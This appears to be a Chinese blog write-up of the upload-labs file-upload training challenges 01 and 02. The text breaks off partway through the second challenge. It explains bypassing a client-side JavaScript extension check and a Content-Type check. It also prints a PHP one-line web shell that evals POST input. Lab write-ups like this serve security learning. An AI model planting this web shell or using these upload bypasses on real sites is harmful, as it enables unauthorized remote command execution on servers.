upload-labs文件上传01-04

upload-labs

01 前端js绕过

ctrl+u查看源码

function checkFile() {
   
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
   
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
   
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

var allow_ext = ".jpg|.png|.gif";改为var allow_ext = ".jpg|.png|.gif|.php";,用chrome浏览器,F12打开dev tool,在console里黏贴checkFile函数,执行checkFile即可上传php。

<!-- test.php -->
<?php
@eval($_POST['cmd']);
?>

02 MIME绕过(1)

服务端MIME类型检测也就是检测Content-Type的内容

Content-Type: application/octet-stream
Content-Type: image/jpeg

抓取正常的图片流量,与源码对比

抓包
Content-Disposition: form-data; name="upload_file"; filename="test.jpg"
Content-Type: image/jpeg
Content-Disposition: form-data; name="submit"
ctrl+u:源码
<input class="input_file" 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值